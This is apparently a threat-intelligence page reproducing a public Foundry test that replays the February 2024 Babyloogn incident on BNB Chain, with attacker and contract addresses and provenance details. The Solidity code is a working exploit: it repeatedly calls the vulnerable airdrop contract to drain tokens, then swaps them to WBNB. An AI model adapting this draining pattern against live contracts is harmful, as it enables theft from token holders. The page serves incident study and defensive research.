Skip to content
THREATWIRE

Public reproduction file

src/test/2024-02/Babyloogn_exp.sol

Public reproduction file for dataset entry Babyloogn.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-02/Babyloogn_exp.sol66 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4// @KeyInfo - Total Lost : ~2.24 $WBNB
5// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
6// Attack Contract : https://bscscan.com/address/0x3559ee265fc9c5c9a333b07e0199480b4a84f369
7// Vulnerable Contract : https://bscscan.com/address/0x971d08bba900230298add23e61e04b04226b5073
8// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xd081d6bb96326be5305a6c00dd51d1799971794941576554341738abc1ceb202
9
10import "forge-std/Test.sol";
11import "./../interface.sol";
13interface IBabyloognAirdrop {}
15interface IBabyloognNFT {
16 function setApprovalForAll(address operator, bool approved) external;
19interface IBabyloogn {
20 function approve(address spender, uint256 amount) external;
21 function balanceOf(
22 address account
23 ) external view returns (uint256);
26contract ContractTest is Test {
27 event TokenBalance(string key, uint256 val);
29 IBabyloogn Babyloogn = IBabyloogn(0x7fe5fAF242015Cf769Ae7feA565B96351Dd957A2);
30 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
31 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
32 IBabyloognAirdrop Airdrop = IBabyloognAirdrop(0x971d08bbA900230298ADD23e61E04B04226b5073);
33 IBabyloognNFT BabyloognNTF = IBabyloognNFT(0x5eb47C41FC9BEcf123C9E484C51de37830842AdD);
35 function setUp() public {
36 vm.createSelectFork("bsc", 36_159_516 - 1);
37 vm.label(address(Babyloogn), "Babyloogn");
38 vm.label(address(Airdrop), "Airdrop");
39 vm.label(address(BabyloognNTF), "BabyloognNTF");
40 }
42 function testExploit() public {
43 emit log_named_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)));
44 Babyloogn.approve(address(Router), type(uint256).max);
45 BabyloognNTF.setApprovalForAll(address(Airdrop), true);
47 while (Babyloogn.balanceOf(address(Airdrop)) >= 285 * 1e18) {
48 (bool success,) = address(Airdrop).call(abi.encodeWithSelector(bytes4(0xfbe81135), 1, 0));
49 }
51 TOKENTOWBNB();
52 emit log_named_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)));
53 }
55 function TOKENTOWBNB() internal {
56 address[] memory path = new address[](2);
57 path[0] = address(Babyloogn);
58 path[1] = address(WBNB);
59 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
60 Babyloogn.balanceOf(address(this)), 0, path, address(this), block.timestamp
61 );
62 }
64 fallback() external payable {}
65 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Babyloogn” (2024-02-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x835b45d38cbdccf99e609436ff38e31ac05bc502

  • Attack Contract

    0x3559ee265fc9c5c9a333b07e0199480b4a84f369

  • Vulnerable Contract

    0x971d08bba900230298add23e61e04b04226b5073

  • Attack Tx

    0xd081d6bb96326be5305a6c00dd51d1799971794941576554341738abc1ceb202

File record

Name
Babyloogn
Path
src/test/2024-02/Babyloogn_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8b06e048e6bdcd673b5a0b5bf3d203c8f97e4f40
Language
Solidity
Size
67 lines
Date
2024-02-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-02/Babyloogn_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8b06e048e6bdcd673b5a0b5bf3d203c8f97e4f40, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.